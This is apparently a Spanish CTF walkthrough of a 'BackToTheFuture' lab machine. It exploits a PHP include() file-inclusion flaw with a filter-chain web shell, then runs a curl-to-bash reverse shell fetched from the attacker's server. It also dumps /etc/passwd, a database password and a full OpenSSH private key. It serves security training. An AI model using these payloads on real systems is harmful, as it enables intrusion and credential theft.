gIHBvc2l0aW9uOiBhYnNvbHV0ZTsNCiAgICAgICAgICAgIGN1cnNvcjogcG9pbnRlcjsNCiAgICAgICAgICAgIHRvcDogMDsNCiAgICAgICAgICAgIGxlZnQ6IDA7DQogICAgICAgICAgICByaWdodDogMDsNCiAgICAgICAgICAgIGJvdHRvbTogMDsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICM0NDQ7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAzNHB4Ow0KICAgICAgICAgICAgdHJhbnNpdGlvbjogMC40czsNCiAgICAgICAgfQ0KDQogICAgICAgIC5zbGlkZXI6YmVmb3JlIHsNCiAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsNCiAgICAgICAgICAgIGNvbnRlbnQ6ICIiOw0KICAgICAgICAgICAgaGVpZ2h0OiAyNnB4Ow0KICAgICAgICAgICAgd2lkdGg6IDI2cHg7DQogICAgICAgICAgICBsZWZ0OiA0cHg7DQogICAgICAgICAgICBib3R0b206IDRweDsNCiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmNDQzMzY7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1MCU7DQogICAgICAgICAgICB0cmFuc2l0aW9uOiAwLjRzOw0KICAgICAgICB9DQoNCiAgICAgICAgLnN3aXRjaCBpbnB1dDpjaGVja2VkKy5zbGlkZXIgew0KICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzdDRkMwMDsNCiAgICAgICAgfQ0KDQogICAgICAgIC5zd2l0Y2ggaW5wdXQ6Y2hlY2tlZCsuc2xpZGVyOmJlZm9yZSB7DQogICAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoMjZweCk7DQogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjN0NGQzAwOw0KICAgICAgICB9DQoNCiAgICAgICAgQGtleWZyYW1lcyBhcHBlYXJUZXh0IHsNCiAgICAgICAgICAgIGZyb20gew0KICAgICAgICAgICAgICAgIG9wYWNpdHk6IDA7DQogICAgICAgICAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKDEwcHgpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICB0byB7DQogICAgICAgICAgICAgICAgb3BhY2l0eTogMTsNCiAgICAgICAgICAgICAgICB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoMCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBAa2V5ZnJhbWVzIHB1bHNlIHsNCiAgICAgICAgICAgIGZyb20gew0KICAgICAgICAgICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMSk7DQogICAgICAgICAgICAgICAgZmlsdGVyOiBkcm9wLXNoYWRvdygwIDAgNXB4ICMwMGY3ZmYpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICB0byB7DQogICAgICAgICAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgxLjAyKTsNCiAgICAgICAgICAgICAgICBmaWx0ZXI6IGRyb3Atc2hhZG93KDAgMCAxNXB4ICMwMGY3ZmYpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgYS5idXR0b24gew0KICAgICAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrOw0KICAgICAgICAgICAgbWFyZ2luLXRvcDogMnJlbTsNCiAgICAgICAgICAgIHBhZGRpbmc6IDAuN3JlbSAxLjVyZW07DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMGUwZTFhOw0KICAgICAgICAgICAgYm9yZGVyOiAycHggc29saWQgI2Y0NDMzNjsNCiAgICAgICAgICAgIGNvbG9yOiAjZjQ0MzM2Ow0KICAgICAgICAgICAgdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KICAgICAgICAgICAgdHJhbnNpdGlvbjogYWxsIDAuM3MgZWFzZTsNCiAgICAgICAgfQ0KDQogICAgICAgIGEuYnV0dG9uOmhvdmVyIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmNDQzMzY7DQogICAgICAgICAgICBjb2xvcjogI2ZmZjsNCiAgICAgICAgfQ0KICAgIDwvc3R5bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCg0KDQogICAgPGRpdiBjbGFzcz0iY29udGFpbmVyIj4NCiAgICAgICAgPGgxPkFkbWluIFBhbmVsIC0gUmVnaXN0cm8gVGVtcG9yYWw8L2gxPg0KICAgICAgICA8ZGl2IGNsYXNzPSJuYXYiPg0KICAgICAgICAgICAgPGEgaHJlZj0iP3BhZ2U9YWJvdXQucGhwIj5BYm91dDwvYT4NCiAgICAgICAgICAgIDxhIGhyZWY9Ij9wYWdlPWNsb2NrdG93ZXIucGhwIj5DbG9ja3Rvd2VyPC9hPg0KICAgICAgICAgICAgPGEgaHJlZj0iP3BhZ2U9Zmx1eF9jYXBhY2l0b3IucGhwIj5GbHV4IENhcGFjaXRvcjwvYT4NCiAgICAgICAgICAgIDxhIGhyZWY9Ij9wYWdlPWxvZ3MucGhwIj5Mb2dzPC9hPg0KICAgICAgICAgICAgPGEgaHJlZj0iP3BhZ2U9ZG9jX2pvdXJuYWwucGhwIj5Eb2MncyBKb3VybmFsPC9hPg0KICAgICAgICAgICAgPGEgaHJlZj0iP3BhZ2U9dGltZV9tYWNoaW5lLnBocCI+VGltZSBNYWNoaW5lPC9hPg0KICAgICAgICAgICAgPGEgaHJlZj0ibG9nb3V0LnBocCI+TG9nIG91dDwvYT4NCiAgICAgICAgPC9kaXY+DQogICAgDQogICAgICAgIDxkaXYgY2xhc3M9InRlcm1pbmFsIj4NCiAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKSB7DQogICAgICAgICAgICAgICAgICAgIGluY2x1ZGUoJF9HRVRbJ3BhZ2UnXSk7DQogICAgICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHA+QmllbnZlbmlkbyBhbCBwYW5lbCBkZSBhZG1pbmlzdHJhY2nDs24uPC9wPiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgPz4NCiAgICAgICAgPC9kaXY+DQogICAgPC9kaXY+DQoNCiAgICA8c2NyaXB0IHNyYz0ianMvaW5kZXguanMiPjwvc2NyaXB0Pg0KPC9ib2R5Pg0KPC9odG1sPg0K
```

{% endtab %}

{% tab title="admin.php" %}

```php
<?php
ini_set('display_errors', 0);
session_start();
if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {
    header("Location: index.php");
    exit;
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">

    <!-- Se dice que el DeLorean guarda secretos si inspeccionás bien -->
    <title>Hill Valley Admin Panel</title>
    <style>
        body {
            background: #0e0e1a;
            color: #00ffcc;
            font-family: 'Courier New', Courier, monospace;
        }

        h2 {
            margin-bottom: 1rem;
        }

        p {
            margin-bottom: .5rem;
        }

        .container {
            width: 90%;
            margin: 2rem auto;
        }

        .nav {
            margin-bottom: 1.5rem;
            display: flex;
        }
        .nav a {
            color: #00ffff;
            text-decoration: none;
            margin-right: 1rem;
            padding: .5rem 0;
            border-bottom: 1px solid #00ffff;
        }

        .terminal {
            background: #000000;
            border: 1px solid #00ffcc;
            padding: 1rem;
            text-wrap: wrap;
            word-wrap: wrap;
            overflow: hidden;
            overflow-wrap: break-word;
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
        }

        .img {
            width: 100%;
            max-width: 500px;
            display: block;
            margin: 0 auto;
        }

        @media (max-width: 768px) {
            .time-row {
                grid-template-columns: repeat(6, auto);
                justify-content: center;
            }

            .time-row .caption {
                font-size: 0.9rem;
            }

            .char {
                font-size: 1.3rem;
            }

            h1 {
                font-size: 2rem;
            }

            .delorean-panel {
                padding: 1rem;
            }
        }

        .flux-card {
            background: #111;
            max-width: 700px;
            margin: auto;
            padding: 2rem;
            border-radius: 12px;
            box-shadow: 0 0 20px #00f7ff55;
            border: 2px dashed #fbbc05;
            display: flex;
            flex-direction: column;
            justify-content: center;
            align-items: center;
        }

        .flux-img {
            margin: 1rem auto;
        }

        .flux-img img {
            max-width: 100%;
            width: 300px;
            filter: drop-shadow(0 0 10px #00f7ff);
            transition: all 0.3s ease;
        }

        .flux-img.active img {
            animation: pulse 1.2s infinite alternate;
            filter: drop-shadow(0 0 20px #00f7ff);
        }

        .flux-text {
            color: #7CFC00;
            font-size: 1.1rem;
            line-height: 1.6;
            margin-top: 1.5rem;
            animation: appearText 1s ease-in-out;
        }

        .switch {
            margin-top: 2rem;
            display: inline-block;
            position: relative;
            width: 60px;
            height: 34px;
        }

        .switch input {
            opacity: 0;
            width: 0;
            height: 0;
        }

        .slider {
            position: absolute;
            cursor: pointer;
            top: 0;
            left: 0;
            right: 0;
            bottom: 0;
            background-color: #444;
            border-radius: 34px;
            transition: 0.4s;
        }

        .slider:before {
            position: absolute;
            content: "";
            height: 26px;
            width: 26px;
            left: 4px;
            bottom: 4px;
            background-color: #f44336;
            border-radius: 50%;
            transition: 0.4s;
        }

        .switch input:checked+.slider {
            background-color: #7CFC00;
        }

        .switch input:checked+.slider:before {
            transform: translateX(26px);
            background-color: #7CFC00;
        }

        @keyframes appearText {
            from {
                opacity: 0;
                transform: translateY(10px);
            }

            to {
                opacity: 1;
                transform: translateY(0);
            }
        }

        @keyframes pulse {
            from {
                transform: scale(1);
                filter: drop-shadow(0 0 5px #00f7ff);
            }

            to {
                transform: scale(1.02);
                filter: drop-shadow(0 0 15px #00f7ff);
            }
        }

        a.button {
            display: inline-block;
            margin-top: 2rem;
            padding: 0.7rem 1.5rem;
            background: #0e0e1a;
            border: 2px solid #f44336;
            color: #f44336;
            text-decoration: none;
            transition: all 0.3s ease;
        }

        a.button:hover {
            background: #f44336;
            color: #fff;
        }
    </style>
</head>
<body>


    <div class="container">
        <h1>Admin Panel - Registro Temporal</h1>
        <div class="nav">
            <a href="?page=about.php">About</a>
            <a href="?page=clocktower.php">Clocktower</a>
            <a href="?page=flux_capacitor.php">Flux Capacitor</a>
            <a href="?page=logs.php">Logs</a>
            <a href="?page=doc_journal.php">Doc's Journal</a>
            <a href="?page=time_machine.php">Time Machine</a>
            <a href="logout.php">Log out</a>
        </div>

        <div class="terminal">
            <?php
                if (isset($_GET['page'])) {
                    include($_GET['page']);
                } else {
                    echo "<p>Bienvenido al panel de administración.</p>";
                }
            ?>
        </div>
    </div>

    <script src="js/index.js"></script>
</body>
</html>
```

Ahí podemos identificar el campo vulnerable `include($_GET['page']);` ya que recoge nuestro input y no pasa por ningún tipo de filtro ni sanitización, luego con la función [include](https://www.php.net/manual/es/function.include.php) incluyendo el fichero apuntado y recogido por el parámetro `page`.
{% endtab %}
{% endtabs %}

Bien sabiendo que podemos usar `PHP Wrappers`, para lograr un RCE vamos a usar el siguiente repositorio:

{% embed url="<https://github.com/synacktiv/php_filter_chain_generator>" %}

Vamos a usar el `php_filter_chain_generator.py`, para ello vamos a seguir la siguiente sintaxis compartida en el repositorio como ejemplo:

```bash
$ python3 php_filter_chain_generator.py --chain '<?php phpinfo(); ?>  '
```

Vamos a emplearlo:

```bash
┌──(pylon㉿kali)-[~/…/pylon/THL/BackToTheFuture/content]
└─$ python3 php_filter_chain_generator.py --chain '<?php system($_GET[0]);?>'
[+] The following gadget chain will generate the following code : <?php system($_GET[0]);?> (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWzBdKTs/Pg)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
```

Con `<?php system($_GET[0]);?>` estamos estableciendo una web shell básica donde por el parámetro `0` recoge nuestro input y con la función `system()` la ejecuta a nivel de sistema. Vamos a poner esta cadena en en el parámetro `page` y al final añadiremos el parámetro que está en “escucha”:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FNRhtz7lslrRHCeGGUuuP%2Fimage.png?alt=media&#x26;token=21cbbea6-f7c5-4c2a-b4f3-d06dd883555b" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
En este caso lo realicé en BurpSuite ya que me parece más cómodo que hacerlo por la URL
{% endhint %}

Vemos que funcionó! Vamos a darnos una reverse shell, en este caso cree un archivo en mi máquina llamado `shell.sh` donde contiene la reverse shell y nos abriremos un servidor en `python3`:

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FkPtdVKS73MnU2KSYG56W%2Fimage.png?alt=media&#x26;token=7180bff3-6351-4e81-a79d-6b37c17f8b83" alt=""><figcaption></figcaption></figure>

Vale ahora en el servidor apuntaremos a nuestro servidor de `python3` con `curl`:

```bash
curl http://YOUR-SERVER-IP:PORT/shell.sh+|bash
```

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FhpIK3CWf0erYxYlyJNuQ%2Fimage.png?alt=media&#x26;token=eb568234-e280-4b49-9e84-9c74cd12bf8e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3864004254-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhDcndlJtrfzUCJ7dtZt3%2Fuploads%2FIhaK6M1T8RsfWrfuCjjv%2Fimage.png?alt=media&#x26;token=c1312de1-8b28-4060-92b6-4fc284708904" alt=""><figcaption></figcaption></figure>

Bien!! Si ponemos `whoami` veremos que somos el usuario `www-data`.

## Shell as marty

Vamos a leer el `/etc/passwd`:

```bash
www-data@hillvalley:~$ cat /ecat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
tss:x:100:107:TPM software stack,,,:/var/lib/tpm:/bin/false
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:101:108::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:102:111:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
usbmux:x:103:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
dnsmasq:x:999:65534:dnsmasq:/var/lib/misc:/usr/sbin/nologin
avahi:x:104:113:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
fwupd-refresh:x:106:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
saned:x:107:118::/var/lib/saned:/usr/sbin/nologin
geoclue:x:108:119::/var/lib/geoclue:/usr/sbin/nologin
polkitd:x:996:996:polkit:/nonexistent:/usr/sbin/nologin
rtkit:x:109:120:RealtimeKit,,,:/proc:/usr/sbin/nologin
colord:x:110:121:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
docbrown:x:1000:1000:docbrown,,,:/home/docbrown:/bin/bash
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
mysql:x:114:123:MySQL Server,,,:/nonexistent:/bin/false
marty:x:1001:1001::/home/marty:/bin/bash
ftp:x:115:124:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin
```

Vemos que existen los siguientes usuarios:

* `marty`
* `docbrown`

Tambien vemos `lp` que forma parte del servicio de [`CUPS`](https://openprinting.github.io/cups/). Si recordamos hay una base de datos, tanto expuesta a nivel de red y vulnerable ante la aplicación web, vamos a hacer un `ls`:

```bash
www-data@hillvalley:~$ ls
about.php       css                 index.php   time_machine.php
admin.php       doc_journal.php     js
clocktower.php  flux_capacitor.php  logout.php
config.php      img                 logs.php
```

Vemos el archivo `config.php` vamos a ver su contenido:

```bash
www-data@hillvalley:~$ cat config.php
<?php
$host = "localhost";
$user = "marty";
$pass = "t1m3travel";
$db = "hillvalley";

$conn = mysqli_connect($host, $user, $pass, $db);
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}
?>
```

Obtuvimos las posibles credenciales del usuario `marty` que sería `t1m3travel`, vamos a probarlas por SSH:

```bash
┌──(pylon㉿kali)-[~/…/pylon/THL/BackToTheFuture/content]
└─$ ssh marty@192.168.44.133
marty@192.168.44.133: Permission denied (publickey).
```

Vemos que necesitamos si o si un `id_rsa`, así que vamos a intentar iniciar sesión en la propia reverse shell:

```bash
www-data@hillvalley:~$ su marty
Password: t1m3travel
marty@hillvalley:~$ whoami
marty
```

Vemos que las credenciales son validas!! Si hacemos un `ls -la` en el directorio suyo `home` nos encontraremos lo siguiente:

```bash
marty@hillvalley:~$ ls -la
total 56
drwxr-xr-x 7 marty    marty    4096 Jul 20 11:44 .
drwxr-xr-x 4 root     root     4096 Jul 12 15:49 ..
lrwxrwxrwx 1 root     root        9 Jul 13 16:50 .bash_history -> /dev/null
-rw-r--r-- 1 marty    marty     220 Mar 29  2024 .bash_logout
-rw-r--r-- 1 marty    marty    3552 Jul 12 20:45 .bashrc
drwx------ 4 marty    marty    4096 Jul 12 20:28 .cache
drwxr-xr-x 3 marty    marty    4096 Jul 12 20:28 .config
-rw-r--r-- 1 marty    marty    5290 Jul 12  2023 .face
lrwxrwxrwx 1 marty    marty       5 Jul 12  2023 .face.icon -> .face
-rw-r--r-- 1 docbrown docbrown   80 Jul 12 21:19 .flux_notes
drwxr-xr-x 2 root     root     4096 Jul 12 19:48 ftp
drwxr-xr-x 4 marty    marty    4096 Jul 12 20:28 .local
-rw-r--r-- 1 marty    marty     807 Mar 29  2024 .profile
drwx------ 2 marty    marty    4096 Jul 14 20:16 .ssh
-rw-r--r-- 1 root     root       16 Jul 14 20:22 user.txt
```

Vamos a intentar leer el `id_rsa` de `marty`:

```bash
marty@hillvalley:~$ cat .ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
B29crFrrs7fWLVaFeFeSou02EFE=
-----END OPENSSH PRIVATE KEY-----
```

